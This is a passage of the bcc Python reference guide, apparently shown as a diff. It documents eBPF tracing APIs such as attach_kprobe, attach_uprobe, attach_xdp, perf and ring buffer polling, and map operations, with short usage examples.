instructions embedded with source -- `DEBUG_BPF_REGISTER_STATE = 0x10` register state on all instructions in addition to DEBUG_BPF -- `DEBUG_BTF = 0x20` print the messages from the `libbpf` library. - -Examples: - -```Python -# define entire BPF program in one line: -BPF(text='int do_trace(void *ctx) { bpf_trace_printk("hit!\\n"); return 0; }'); - -# define program as a variable: -prog = """ -int hello(void *ctx) { - bpf_trace_printk("Hello, World!\\n"); - return 0; -} -""" -b = BPF(text=prog) - -# source a file: -b = BPF(src_file = "vfsreadlat.c") - -# include a USDT object: -u = USDT(pid=int(pid)) -[...] -b = BPF(text=bpf_text, usdt_contexts=[u]) - -# add include paths: -u = BPF(text=prog, cflags=["-I/path/to/include"]) -``` - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=BPF+path%3Aexamples+language%3Apython&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=BPF+path%3Atools+language%3Apython&type=Code) - -### 2. USDT - -Syntax: ```USDT({pid=pid | path=path})``` - -Creates an object to instrument User Statically-Defined Tracing (USDT) probes. Its primary method is ```enable_probe()```. - -Arguments: - -- pid: attach to this process ID. -- path: instrument USDT probes from this binary path. - -Examples: - -```Python -# include a USDT object: -u = USDT(pid=int(pid)) -[...] -b = BPF(text=bpf_text, usdt_contexts=[u]) -``` - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=USDT+path%3Aexamples+language%3Apython&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=USDT+path%3Atools+language%3Apython&type=Code) - -## Events - -### 1. attach_kprobe() - -Syntax: ```BPF.attach_kprobe(event="event", fn_name="name")``` - -Instruments the kernel function ```event()``` using kernel dynamic tracing of the function entry, and attaches our C defined function ```name()``` to be called when the kernel function is called. - -For example: - -```Python -b.attach_kprobe(event="sys_clone", fn_name="do_trace") -``` - -This will instrument the kernel ```sys_clone()``` function, which will then run our BPF defined ```do_trace()``` function each time it is called. - -You can call attach_kprobe() more than once, and attach your BPF function to multiple kernel functions. -You can also call attach_kprobe() more than once to attach multiple BPF functions to the same kernel function. - -See the previous kprobes section for how to instrument arguments from BPF. - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=attach_kprobe+path%3Aexamples+language%3Apython&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=attach_kprobe+path%3Atools+language%3Apython&type=Code) - -### 2. attach_kretprobe() - -Syntax: ```BPF.attach_kretprobe(event="event", fn_name="name" [, maxactive=int])``` - -Instruments the return of the kernel function ```event()``` using kernel dynamic tracing of the function return, and attaches our C defined function ```name()``` to be called when the kernel function returns. - -For example: - -```Python -b.attach_kretprobe(event="vfs_read", fn_name="do_return") -``` - -This will instrument the kernel ```vfs_read()``` function, which will then run our BPF defined ```do_return()``` function each time it is called. - -You can call attach_kretprobe() more than once, and attach your BPF function to multiple kernel function returns. -You can also call attach_kretprobe() more than once to attach multiple BPF functions to the same kernel function return. - -When a kretprobe is installed on a kernel function, there is a limit on how many parallel calls it can catch. You can change that limit with ```maxactive```. See the kprobes documentation for its default value. - -See the previous kretprobes section for how to instrument the return value from BPF. - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=attach_kretprobe+path%3Aexamples+language%3Apython&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=attach_kretprobe+path%3Atools+language%3Apython&type=Code) - -### 3. attach_tracepoint() - -Syntax: ```BPF.attach_tracepoint(tp="tracepoint", fn_name="name")``` - -Instruments the kernel tracepoint described by ```tracepoint```, and when hit, runs the BPF function ```name()```. - -This is an explicit way to instrument tracepoints. The ```TRACEPOINT_PROBE``` syntax, covered in the earlier tracepoints section, is an alternate method with the advantage of auto-declaring an ```args``` struct containing the tracepoint arguments. With ```attach_tracepoint()```, the tracepoint arguments need to be declared in the BPF program. - -For example: - -```Python -# define BPF program -bpf_text = """ -#include - -struct urandom_read_args { - // from /sys/kernel/debug/tracing/events/random/urandom_read/format - u64 __unused__; - u32 got_bits; - u32 pool_left; - u32 input_left; -}; - -int printarg(struct urandom_read_args *args) { - bpf_trace_printk("%d\\n", args->got_bits); - return 0; -}; -""" - -# load BPF program -b = BPF(text=bpf_text) -b.attach_tracepoint("random:urandom_read", "printarg") -``` - -Notice how the first argument to ```printarg()``` is now our defined struct. - -Examples in situ: -[code](https://github.com/iovisor/bcc/blob/a4159da8c4ea8a05a3c6e402451f530d6e5a8b41/examples/tracing/urandomread-explicit.py#L41), -[search /examples](https://github.com/iovisor/bcc/search?q=attach_tracepoint+path%3Aexamples+language%3Apython&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=attach_tracepoint+path%3Atools+language%3Apython&type=Code) - -### 4. attach_uprobe() - -Syntax: ```BPF.attach_uprobe(name="location", sym="symbol", fn_name="name" [, sym_off=int])```, ```BPF.attach_uprobe(name="location", sym_re="regex", fn_name="name")```, ```BPF.attach_uprobe(name="location", addr=int, fn_name="name")``` - - -Instruments the user-level function ```symbol()``` from either the library or binary named by ```location``` using user-level dynamic tracing of the function entry, and attach our C defined function ```name()``` to be called whenever the user-level function is called. If ```sym_off``` is given, the function is attached to the offset within the symbol. - -The real address ```addr``` may be supplied in place of ```sym```, in which case ```sym``` must be set to its default value. If the file is a non-PIE executable, ```addr``` must be a virtual address, otherwise it must be an offset relative to the file load address. - -Instead of a symbol name, a regular expression can be provided in ```sym_re```. The uprobe will then attach to symbols that match the provided regular expression. - -Libraries can be given in the name argument without the lib prefix, or with the full path (/usr/lib/...). Binaries can be given only with the full path (/bin/sh). - -For example: - -```Python -b.attach_uprobe(name="c", sym="strlen", fn_name="count") -``` - -This will instrument ```strlen()``` function from libc, and call our BPF function ```count()``` when it is called. Note how the "lib" in "libc" is not necessary to specify. - -Other examples: - -```Python -b.attach_uprobe(name="c", sym="getaddrinfo", fn_name="do_entry") -b.attach_uprobe(name="/usr/bin/python", sym="main", fn_name="do_main") -``` - -You can call attach_uprobe() more than once, and attach your BPF function to multiple user-level functions. - -See the previous uprobes section for how to instrument arguments from BPF. - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=attach_uprobe+path%3Aexamples+language%3Apython&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=attach_uprobe+path%3Atools+language%3Apython&type=Code) - -### 5. attach_uretprobe() - -Syntax: ```BPF.attach_uretprobe(name="location", sym="symbol", fn_name="name")``` - -Instruments the return of the user-level function ```symbol()``` from either the library or binary named by ```location``` using user-level dynamic tracing of the function return, and attach our C defined function ```name()``` to be called whenever the user-level function returns. - -For example: - -```Python -b.attach_uretprobe(name="c", sym="strlen", fn_name="count") -``` - -This will instrument ```strlen()``` function from libc, and call our BPF function ```count()``` when it returns. - -Other examples: - -```Python -b.attach_uretprobe(name="c", sym="getaddrinfo", fn_name="do_return") -b.attach_uretprobe(name="/usr/bin/python", sym="main", fn_name="do_main") -``` - -You can call attach_uretprobe() more than once, and attach your BPF function to multiple user-level functions. - -See the previous uretprobes section for how to instrument the return value from BPF. - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=attach_uretprobe+path%3Aexamples+language%3Apython&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=attach_uretprobe+path%3Atools+language%3Apython&type=Code) - -### 6. USDT.enable_probe() - -Syntax: ```USDT.enable_probe(probe=probe, fn_name=name)``` - -Attaches a BPF C function ```name``` to the USDT probe ```probe```. - -Example: - -```Python -# enable USDT probe from given PID -u = USDT(pid=int(pid)) -u.enable_probe(probe="http__server__request", fn_name="do_trace") -``` - -To check if your binary has USDT probes, and what they are, you can run ```readelf -n binary``` and check the stap debug section. - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=enable_probe+path%3Aexamples+language%3Apython&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=enable_probe+path%3Atools+language%3Apython&type=Code) - -### 7. attach_raw_tracepoint() - -Syntax: ```BPF.attach_raw_tracepoint(tp="tracepoint", fn_name="name")``` - -Instruments the kernel raw tracepoint described by ```tracepoint``` (```event``` only, no ```category```), and when hit, runs the BPF function ```name()```. - -This is an explicit way to instrument tracepoints. The ```RAW_TRACEPOINT_PROBE``` syntax, covered in the earlier raw tracepoints section, is an alternate method. - -For example: - -```Python -b.attach_raw_tracepoint("sched_switch", "do_trace") -``` - -Examples in situ: -[search /tools](https://github.com/iovisor/bcc/search?q=attach_raw_tracepoint+path%3Atools+language%3Apython&type=Code) - -### 8. attach_raw_socket() - -Syntax: ```BPF.attach_raw_socket(fn, dev)``` - -Attaches a BPF function to the specified network interface. - -The ```fn``` must be the type of ```BPF.function``` and the bpf_prog type needs to be ```BPF_PROG_TYPE_SOCKET_FILTER``` (```fn=BPF.load_func(func_name, BPF.SOCKET_FILTER)```) - -```fn.sock``` is a non-blocking raw socket that was created and bound to ```dev```. - -All network packets processed by ```dev``` are copied to the ```recv-q``` of ```fn.sock``` after being processed by bpf_prog. Try to recv packet form ```fn.sock``` with rev/recvfrom/recvmsg. Note that if the ```recv-q``` is not read in time after the ```recv-q``` is full, the copied packets will be discarded. - -We can use this feature to capture network packets just like ```tcpdump```. - -We can use ```ss --bpf --packet -p``` to observe ```fn.sock```. - -Example: - -```Python -BPF.attach_raw_socket(bpf_func, ifname) -``` - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=attach_raw_socket+path%3Aexamples+language%3Apython&type=Code) -### 9. attach_xdp() -Syntax: ```BPF.attach_xdp(dev="device", fn=b.load_func("fn_name",BPF.XDP), flags)``` - -Instruments the network driver described by ```dev``` , and then receives the packet, run the BPF function ```fn_name()``` with flags. - -Here is a list of optional flags. - -```Python -# from xdp_flags uapi/linux/if_link.h -XDP_FLAGS_UPDATE_IF_NOEXIST = (1 << 0) -XDP_FLAGS_SKB_MODE = (1 << 1) -XDP_FLAGS_DRV_MODE = (1 << 2) -XDP_FLAGS_HW_MODE = (1 << 3) -XDP_FLAGS_REPLACE = (1 << 4) -``` - -You can use flags like this ```BPF.attach_xdp(dev="device", fn=b.load_func("fn_name",BPF.XDP), flags=BPF.XDP_FLAGS_UPDATE_IF_NOEXIST)``` - -The default value of flags is 0. This means if there is no xdp program with `device`, the fn will run with that device. If there is an xdp program running with device, the old program will be replaced with new fn program. - -Currently, bcc does not support XDP_FLAGS_REPLACE flag. The following are the descriptions of other flags. - -#### 1. XDP_FLAGS_UPDATE_IF_NOEXIST -If an XDP program is already attached to the specified driver, attaching the XDP program again will fail. - -#### 2. XDP_FLAGS_SKB_MODE -Driver doesn’t have support for XDP, but the kernel fakes it. -XDP program works, but there’s no real performance benefit because packets are handed to kernel stack anyways which then emulates XDP – this is usually supported with generic network drivers used in home computers, laptops, and virtualized HW. - -#### 3. XDP_FLAGS_DRV_MODE -A driver has XDP support and can hand then to XDP without kernel stack interaction – Few drivers can support it and those are usually for enterprise HW. - -#### 4. XDP_FLAGS_HW_MODE -XDP can be loaded and executed directly on the NIC – just a handful of NICs can do that. - - -For example: - -```Python -b.attach_xdp(dev="ens1", fn=b.load_func("do_xdp", BPF.XDP)) -``` - -This will instrument the network device ```ens1``` , which will then run our BPF defined ```do_xdp()``` function each time it receives packets. - -Don't forget to call ```b.remove_xdp("ens1")``` at the end! - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=attach_xdp+path%3Aexamples+language%3Apython&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=attach_xdp+path%3Atools+language%3Apython&type=Code) - -### 10. attach_func() - -Syntax: ```BPF.attach_func(fn, attachable_fd, attach_type [, flags])``` - -Attaches a BPF function of the specified type to a particular ```attachable_fd```. if the ```attach_type``` is ```BPF_FLOW_DISSECTOR```, the function is expected to attach to current net namespace and ```attachable_fd``` must be 0. - -For example: - -```Python -b.attach_func(fn, cgroup_fd, BPFAttachType.CGROUP_SOCK_OPS) -b.attach_func(fn, map_fd, BPFAttachType.SK_MSG_VERDICT) -``` - -Note. When attached to "global" hooks (xdp, tc, lwt, cgroup). If the "BPF function" is no longer needed after the program terminates, be sure to call `detach_func` when the program exits. - -Examples in situ: - -[search /examples](https://github.com/iovisor/bcc/search?q=attach_func+path%3Aexamples+language%3Apython&type=Code), - -### 11. detach_func() - -Syntax: ```BPF.detach_func(fn, attachable_fd, attach_type)``` - -Detaches a BPF function of the specified type. - -For example: - -```Python -b.detach_func(fn, cgroup_fd, BPFAttachType.CGROUP_SOCK_OPS) -b.detach_func(fn, map_fd, BPFAttachType.SK_MSG_VERDICT) -``` - -Examples in situ: - -[search /examples](https://github.com/iovisor/bcc/search?q=detach_func+path%3Aexamples+language%3Apython&type=Code), - -### 12. detach_kprobe() - -Syntax: ```BPF.detach_kprobe(event="event", fn_name="name")``` - -Detach a kprobe handler function of the specified event. - -For example: - -```Python -b.detach_kprobe(event="__page_cache_alloc", fn_name="trace_func_entry") -``` - -### 13. detach_kretprobe() - -Syntax: ```BPF.detach_kretprobe(event="event", fn_name="name")``` - -Detach a kretprobe handler function of the specified event. - -For example: - -```Python -b.detach_kretprobe(event="__page_cache_alloc", fn_name="trace_func_return") -``` - -## Debug Output - -### 1. trace_print() - -Syntax: ```BPF.trace_print(fmt="fields")``` - -This method continually reads the globally shared /sys/kernel/debug/tracing/trace_pipe file and prints its contents. This file can be written to via BPF and the bpf_trace_printk() function, however, that method has limitations, including a lack of concurrent tracing support. The BPF_PERF_OUTPUT mechanism, covered earlier, is preferred. - -Arguments: - -- ```fmt```: optional, and can contain a field formatting string. It defaults to ```None```. - -Examples: - -```Python -# print trace_pipe output as-is: -b.trace_print() - -# print PID and message: -b.trace_print(fmt="{1} {5}") -``` - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=trace_print+path%3Aexamples+language%3Apython&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=trace_print+path%3Atools+language%3Apython&type=Code) - -### 2. trace_fields() - -Syntax: ```BPF.trace_fields(nonblocking=False)``` - -This method reads one line from the globally shared /sys/kernel/debug/tracing/trace_pipe file and returns it as fields. This file can be written to via BPF and the bpf_trace_printk() function, however, that method has limitations, including a lack of concurrent tracing support. The BPF_PERF_OUTPUT mechanism, covered earlier, is preferred. - -Arguments: - -- ```nonblocking```: optional, defaults to ```False```. When set to ```True```, the program will not block waiting for input. - -Examples: - -```Python -while 1: - try: - (task, pid, cpu, flags, ts, msg) = b.trace_fields() - except ValueError: - continue - [...] -``` - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=trace_fields+path%3Aexamples+language%3Apython&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=trace_fields+path%3Atools+language%3Apython&type=Code) - -## Output APIs - -Normal output from a BPF program is either: - -- per-event: using PERF_EVENT_OUTPUT, open_perf_buffer(), and perf_buffer_poll(). -- map summary: using items(), or print_log2_hist(), covered in the Maps section. - -### 1. perf_buffer_poll() - -Syntax: ```BPF.perf_buffer_poll(timeout=T)``` - -This polls from all open perf ring buffers, calling the callback function that was provided when calling open_perf_buffer for each entry. - -The timeout parameter is optional and measured in milliseconds. In its absence, polling continues indefinitely. - -Example: - -```Python -# loop with callback to print_event -b["events"].open_perf_buffer(print_event) -while 1: - try: - b.perf_buffer_poll() - except KeyboardInterrupt: - exit(); -``` - -Examples in situ: -[code](https://github.com/iovisor/bcc/blob/v0.9.0/examples/tracing/hello_perf_output.py#L55), -[search /examples](https://github.com/iovisor/bcc/search?q=perf_buffer_poll+path%3Aexamples+language%3Apython&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=perf_buffer_poll+path%3Atools+language%3Apython&type=Code) - -### 2. ring_buffer_poll() - -Syntax: ```BPF.ring_buffer_poll(timeout=T)``` - -This polls from all open ringbuf ring buffers, calling the callback function that was provided when calling open_ring_buffer for each entry. - -The timeout parameter is optional and measured in milliseconds. In its absence, polling continues until -there is no more data or the callback returns a negative value. - -Example: - -```Python -# loop with callback to print_event -b["events"].open_ring_buffer(print_event) -while 1: - try: - b.ring_buffer_poll(30) - except KeyboardInterrupt: - exit(); -``` - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=ring_buffer_poll+path%3Aexamples+language%3Apython&type=Code), - -### 3. ring_buffer_consume() - -Syntax: ```BPF.ring_buffer_consume()``` - -This consumes from all open ringbuf ring buffers, calling the callback function that was provided when calling open_ring_buffer for each entry. - -Unlike ```ring_buffer_poll```, this method **does not poll for data** before attempting to consume. -This reduces latency at the expense of higher CPU consumption. If you are unsure which to use, -use ```ring_buffer_poll```. - -Example: - -```Python -# loop with callback to print_event -b["events"].open_ring_buffer(print_event) -while 1: - try: - b.ring_buffer_consume() - except KeyboardInterrupt: - exit(); -``` - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=ring_buffer_consume+path%3Aexamples+language%3Apython&type=Code), - -## Map APIs - -Maps are BPF data stores, and are used in bcc to implement a table, and then higher level objects on top of tables, including hashes and histograms. - -### 1. get_table() - -Syntax: ```BPF.get_table(name)``` - -Returns a table object. This is no longer used, as tables can now be read as items from BPF. Eg: ```BPF[name]```. - -Examples: - -```Python -counts = b.get_table("counts") - -counts = b["counts"] -``` - -These are equivalent. - -### 2. open_perf_buffer() - -Syntax: ```table.open_perf_buffers(callback, page_cnt=N, lost_cb=None)``` - -This operates on a table as defined in BPF as BPF_PERF_OUTPUT(), and associates the callback Python function ```callback``` to be called when data is available in the perf ring buffer. This is part of the recommended mechanism for transferring per-event data from kernel to user space. The size of the perf ring buffer can be specified via the ```page_cnt``` parameter, which must be a power of two number of pages and defaults to 8. If the callback is not processing data fast enough, some submitted data may be lost. ```lost_cb``` will be called to log / monitor the lost count. If ```lost_cb``` is the default ```None``` value, it will just print a line of message to ```stderr```. - -Example: - -```Python -# process event -def print_event(cpu, data, size): - event = ct.cast(data, ct.POINTER(Data)).contents - [...] - -# loop with callback to print_event -b["events"].open_perf_buffer(print_event) -while 1: - try: - b.perf_buffer_poll() - except KeyboardInterrupt: - exit() -``` - -Note that the data structure transferred will need to be declared in C in the BPF program. For example: - -```C -// define output data structure in C -struct data_t { - u32 pid; - u64 ts; - char comm[TASK_COMM_LEN]; -}; -BPF_PERF_OUTPUT(events); -[...] -``` - -In Python, you can either let bcc generate the data structure from C declaration automatically (recommended): - -```Python -def print_event(cpu, data, size): - event = b["events"].event(data) -[...] -``` - -or define it manually: - -```Python -# define output data structure in Python -TASK_COMM_LEN = 16 # linux/sched.h -class Data(ct.Structure): - _fields_ = [("pid", ct.c_ulonglong), - ("ts", ct.c_ulonglong), - ("comm", ct.c_char * TASK_COMM_LEN)] - -def print_event(cpu, data, size): - event = ct.cast(data, ct.POINTER(Data)).contents -[...] -``` - -Examples in situ: -[code](https://github.com/iovisor/bcc/blob/v0.9.0/examples/tracing/hello_perf_output.py#L52), -[search /examples](https://github.com/iovisor/bcc/search?q=open_perf_buffer+path%3Aexamples+language%3Apython&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=open_perf_buffer+path%3Atools+language%3Apython&type=Code) - -### 3. items() - -Syntax: ```table.items()``` - -Returns an array of the keys in a table. This can be used with BPF_HASH maps to fetch, and iterate, over the keys. - -Example: - -```Python -# print output -print("%10s %s" % ("COUNT", "STRING")) -counts = b.get_table("counts") -for k, v in sorted(counts.items(), key=lambda counts: counts[1].value): - print("%10d \"%s\"" % (v.value, k.c.encode('string-escape'))) -``` - -This example also uses the ```sorted()``` method to sort by value. - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=items+path%3Aexamples+language%3Apython&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=items+path%3Atools+language%3Apython&type=Code) - -### 4. values() - -Syntax: ```table.values()``` - -Returns an array of the values in a table. - -### 5. clear() - -Syntax: ```table.clear()``` - -Clears the table: deletes all entries. - -Example: - -```Python -# print map summary every second: -while True: - time.sleep(1) - print("%-8s\n" % time.strftime("%H:%M:%S"), end="") - dist.print_log2_hist(sym + " return:") - dist.clear() -``` - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=clear+path%3Aexamples+language%3Apython&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=clear+path%3Atools+language%3Apython&type=Code) - -### 6. items_lookup_and_delete_batch() - -Syntax: ```table.items_lookup_and_delete_batch()``` - -Returns an array of the keys in a table with a single call to BPF syscall. This can be used with BPF_HASH maps to fetch, and iterate, over the keys. It also clears the table: deletes all entries. -You should rather use table.items_lookup_and_delete_batch() than table.items() followed by table.clear(). It requires kernel v5.6. - -Example: - -```Python -# print call rate per second: -print("%9s-%9s-%8s-%9s" % ("PID", "COMM", "fname", "counter")) -while True: - for k, v in sorted(b['map'].items_lookup_and_delete_batch(), key=lambda kv: (kv[0]).pid): - print("%9s-%9s-%8s-%9d" % (k.pid, k.comm, k.fname, v.counter)) - sleep(1) -``` - -### 7. items_lookup_batch() - -Syntax: ```table.items_lookup_batch()``` - -Returns an array of the keys in a table with a single call to BPF syscall. This can be used with BPF_HASH maps to fetch, and iterate, over the keys. -You should rather use table.items_lookup_batch() than table.items(). It requires kernel v5.6. - -Example: - -```Python -# print current value of map: -print("%9s-%9s-%8s-%9s" % ("PID", "COMM", "fname", "counter")) -while True: - for k, v in sorted(b['map'].items_lookup_batch(), key=lambda kv: (kv[0]).pid): - print("%9s-%9s-%8s-%9d" % (k.pid, k.comm, k.fname, v.counter)) -``` - -### 8. items_delete_batch() - -Syntax: ```table.items_delete_batch(keys)``` - -It clears all entries of a BPF_HASH map when keys is None. It is more efficient than table.clear() since it generates only one system call. You can delete a subset of a map by giving an array of keys as parameter. Those keys and their associated values will be deleted. It requires kernel v5.6. - -Arguments: - -- keys is optional and by default is None. - - - -### 9. items_update_batch() - -Syntax: ```table.items_update_batch(keys, values)``` - -Update all the provided keys with new values. The two arguments must be the same length and within the map limits (between 1 and the maximum entries). It requires kernel v5.6. - -Arguments: - -- keys is the list of keys to be updated -- values is the list containing the new values. - - -### 10. print_log2_hist() - -Syntax: ```table.print_log2_hist(val_type="value", section_header="Bucket ptr", section_print_fn=None)``` - -Prints a table as a log2 histogram in ASCII. The table must be stored as log2, which can be done using the BPF function ```bpf_log2l()```. - -Arguments: - -- val_type: optional, column header. -- section_header: if the histogram has a secondary key, multiple tables will print and section_header can be used as a header description for each. -- section_print_fn: if section_print_fn is not None, it will be passed the bucket value. - -Example: - -```Python -b = BPF(text=""" -BPF_HISTOGRAM(dist); - -int kprobe__blk_account_io_done(struct pt_regs *ctx, struct request *req) -{ - dist.increment(bpf_log2l(req->__data_len / 1024)); - return 0; -} -""") -[...] - -b["dist"].print_log2_hist("kbytes") -``` - -Output: - -```sh - kbytes : count distribution - 0 -> 1 : 3 | | - 2 -> 3 : 0 | | - 4 -> 7 : 211 |********** | - 8 -> 15 : 0 | | - 16 -> 31 : 0 | | - 32 -> 63 : 0 | | - 64 -> 127 : 1 | | - 128 -> 255 : 800 |**************************************| -``` - -This output shows a multi-modal distribution, with the largest mode of 128->255 kbytes and a count of 800. - -This is an efficient way to summarize data, as the summarization is performed in-kernel, and only the count column is passed to user space. - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=print_log2_hist+path%3Aexamples+language%3Apython&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=print_log2_hist+path%3Atools+language%3Apython&type=Code) - -### 11. print_linear_hist() - -Syntax: ```table.print_linear_hist(val_type="value", section_header="Bucket ptr", section_print_fn=None)``` - -Prints a table as a linear histogram in ASCII. This is intended to visualize small integer ranges, eg, 0 to 100. - -Arguments: - -- val_type: optional, column header. -- section_header: if the histogram has a secondary key, multiple tables will print and section_header can be used as a header description for each. -- section_print_fn: if section_print_fn is not None, it will be passed the bucket value. - -Example: - -```Python -b = BPF(text=""" -BPF_HISTOGRAM(dist); - -int kprobe__blk_account_io_done(struct pt_regs *ctx, struct request *req) -{ - dist.increment(req->__data_len / 1024); - return 0; -} -""") -[...] - -b["dist"].print_linear_hist("kbytes") -``` - -Output: - -```sh - kbytes : count distribution - 0 : 3 |****** | - 1 : 0 | | - 2 : 0 | | - 3 : 0 | | - 4 : 19 |****************************************| - 5 : 0 | | - 6 : 0 | | - 7 : 0 | | - 8 : 4 |******** | - 9 : 0 | | - 10 : 0 | | - 11 : 0 | | - 12 : 0 | | - 13 : 0 | | - 14 : 0 | | - 15 : 0 | | - 16 : 2 |**** | -[...] -``` - -This is an efficient way to summarize data, as the summarization is performed in-kernel, and only the values in the count column are passed to user space. - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=print_linear_hist+path%3Aexamples+language%3Apython&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=print_linear_hist+path%3Atools+language%3Apython&type=Code) - -### 12. open_ring_buffer() - -Syntax: ```table.open_ring_buffer(callback, ctx=None)``` - -This operates on a table as defined in BPF as BPF_RINGBUF_OUTPUT(), and associates the callback Python function ```callback``` to be called when data is available in the ringbuf ring buffer. This is part of the new (Linux 5.8+) recommended mechanism for transferring per-event data from kernel to user space. Unlike perf buffers, ringbuf sizes are specified within the BPF program, as part of the ```BPF_RINGBUF_OUTPUT``` macro. If the callback is not processing data fast enough, some submitted data may be lost. In this case, the events should be polled more frequently and/or the size of the ring buffer should be increased. - -Example: - -```Python -# process event -def print_event(ctx, data, size): - event = ct.cast(data, ct.POINTER(Data)).contents - [...] - -# loop with callback to print_event -b["events"].open_ring_buffer(print_event) -while 1: - try: - b.ring_buffer_poll() - except KeyboardInterrupt: - exit() -``` - -Note that the data structure transferred will need to be declared in C in the BPF program. For example: - -```C -// define output data structure in C -struct data_t { - u32 pid; - u64 ts; - char comm[TASK_COMM_LEN]; -}; -BPF_RINGBUF_OUTPUT(events, 8); -[...] -``` - -In Python, you can either let bcc generate the data structure from C declaration automatically (recommended): - -```Python -def print_event(ctx, data, size): - event = b["events"].event(data) -[...] -``` - -or define it manually: - -```Python -# define output data structure in Python -TASK_COMM_LEN = 16 # linux/sched.h -class Data(ct.Structure): - _fields_ = [("pid", ct.c_ulonglong), - ("ts", ct.c_ulonglong), - ("comm", ct.c_char * TASK_COMM_LEN)] - -def print_event(ctx, data, size): - event = ct.cast(data, ct.POINTER(Data)).contents -[...] -``` - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=open_ring_buffer+path%3Aexamples+language%3Apython&type=Code), - -### 13. push() - -Syntax: ```table.push(leaf, flags=0)``` - -Push an element onto a Stack or Queue table. Raises an exception if the operation does not succeed. -Passing QueueStack.BPF_EXIST as a flag causes the Queue or Stack to discard the oldest element if it is full. - -Examples in situ: -[search /tests](https://github.com/iovisor/bcc/search?q=push+path%3Atests+language%3Apython&type=Code), - -### 14. pop() - -Syntax: ```leaf = table.pop()``` - -Pop an element from a Stack or Queue table. Unlike ```peek()```, ```pop()``` -removes the element from the table before returning it. -Raises a KeyError exception if the operation does not succeed. - -Examples in situ: -[search /tests](https://github.com/iovisor/bcc/search?q=pop+path%3Atests+language%3Apython&type=Code), - -### 15. peek() - -Syntax: ```leaf = table.peek()``` - -Peek the element at the head of a Stack or Queue table. Unlike ```pop()```, ```peek()``` -does not remove the element from the table. Raises an exception if the operation does not succeed. - -Examples in situ: -[search /tests](https://github.com/iovisor/bcc/search?q=peek+path%3Atests+language%3Apython&type=Code), - -## Helpers - -Some helper methods provided by bcc. Note that since we're in Python, we can import any Python library and their methods, including, for example, the libraries: argparse, collections, ctypes, datetime, re, socket, struct, subprocess, sys, and time. - -### 1. ksym() - -Syntax: ```BPF.ksym(addr)``` - -Translate a kernel memory address into a kernel function name, which is returned. - -Example: - -```Python -print("kernel function: " + b.ksym(addr)) -``` - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=ksym+path%3Aexamples+language%3Apython&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=ksym+path%3Atools+language%3Apython&type=Code) - -### 2. ksymname() - -Syntax: ```BPF.ksymname(name)``` - -Translate a kernel name into an address. This is the reverse of ksym. Returns -1 when the function name is unknown. - -Example: - -```Python -print("kernel address: %x" % b.ksymname("vfs_read")) -``` - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=ksymname+path%3Aexamples+language%3Apython&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=ksymname+path%3Atools+language%3Apython&type=Code) - -### 3. sym() - -Syntax: ```BPF.sym(addr, pid, show_module=False, show_offset=False)``` - -Translate a memory address into a function name for a pid, which is returned. A pid of less than zero will access the kernel symbol cache. The `show_module` and `show_offset` parameters control whether the module in which the symbol lies should be displayed, and whether the instruction offset from the beginning of the symbol should be displayed. These extra parameters default to `False`. - -Example: - -```python -print("function: " + b.sym(addr, pid)) -``` - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=sym+path%3Aexamples+language%3Apython&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=sym+path%3Atools+language%3Apython&type=Code) - -### 4. num_open_kprobes() - -Syntax: ```BPF.num_open_kprobes()``` - -Returns the number of open k[ret]probes. Can be useful for scenarios where event_re is used while attaching and detaching probes. Excludes perf_events readers. - -Example: - -```python -b.attach_kprobe(event_re=pattern, fn_name="trace_count") -matched = b.num_open_kprobes() -if matched == 0: - print("0 functions matched by \"%s\". Exiting." % args.pattern) - exit() -``` - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=num_open_kprobes+path%3Aexamples+language%3Apython&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=num_open_kprobes+path%3Atools+language%3Apython&type=Code) - -### 5. get_syscall_fnname() - -Syntax: ```BPF.get_syscall_fnname(name : str)``` - -Return the corresponding kernel function name of the syscall. This helper function will try different prefixes and use the right one to concatenate with the syscall name. Note that the return value may vary in different versions of linux kernel and sometimes it will causing trouble. (see [#2590](https://github.com/iovisor/bcc/issues/2590)) - -Example: - -```python -print("The function name of %s in kernel is %s" % ("clone", b.get_syscall_fnname("clone"))) -# 